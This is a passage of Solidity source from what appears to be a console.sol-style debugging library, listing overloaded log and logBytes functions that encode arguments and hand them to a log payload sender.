function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function 